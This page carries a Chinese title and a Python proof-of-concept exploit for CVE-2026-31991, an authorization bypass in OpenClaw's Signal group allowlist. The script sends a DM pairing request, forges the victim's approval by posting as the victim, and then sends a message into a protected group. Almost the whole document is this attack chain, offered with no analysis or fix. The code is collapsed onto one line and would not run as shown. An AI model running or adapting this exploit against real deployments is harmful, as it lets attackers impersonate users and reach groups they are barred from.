CVE-2026-31991 OpenClaw群组允许列表授权绕过漏洞

# CVE-2026-31991 PoC - OpenClaw Authorization Bypass via DM Pairing Store # This PoC demonstrates the authorization bypass in Signal group allowlist policy import requests import json import time # Configuration TARGET_SERVER = "https://target-openclaw-instance.com" ATTACKER_ID = "attacker_phone_number" VICTIM_ID = "victim_phone_number" PROTECTED_GROUP_ID = "protected_group_id" def step1_dm_pairing_request(): """Step 1: Send DM pairing request to victim""" payload = { "action": "pairing_request", "from": ATTACKER_ID, "to": VICTIM_ID, "timestamp": int(time.time()) } response = requests.post(f"{TARGET_SERVER}/api/pairing", json=payload) return response.json() def step2_approve_pairing(): """Step 2: Simulate victim approving the DM pairing""" payload = { "action": "approve_pairing", "from": VICTIM_ID, "approved_id": ATTACKER_ID, "approved": True } response = requests.post(f"{TARGET_SERVER}/api/pairing/approve", json=payload) return response.json() def step3_bypass_group_allowlist(): """Step 3: Send message to protected group using DM pairing approval""" payload = { "action": "send_group_message", "from": ATTACKER_ID, "group_id": PROTECTED_GROUP_ID, "message": "Unauthorized message via allowlist bypass", "pairing_approved": True } response = requests.post(f"{TARGET_SERVER}/api/groups/{PROTECTED_GROUP_ID}/messages", json=payload) return response.json() def main(): print("CVE-2026-31991 PoC - OpenClaw Authorization Bypass") print("=" * 50) # Execute attack chain print("\n[Step 1] Sending DM pairing request...") result1 = step1_dm_pairing_request() print(f"Result: {json.dumps(result1, indent=2)}") print("\n[Step 2] Victim approves DM pairing...") result2 = step2_approve_pairing() print(f"Result: {json.dumps(result2, indent=2)}") print("\n[Step 3] Bypassing group allowlist with DM pairing approval...") result3 = step3_bypass_group_allowlist() print(f"Result: {json.dumps(result3, indent=2)}") if result3.get("success"): print("\n[!] Authorization bypass successful - message sent to protected group") else: print("\n[-] Attack failed") if __name__ == "__main__": main()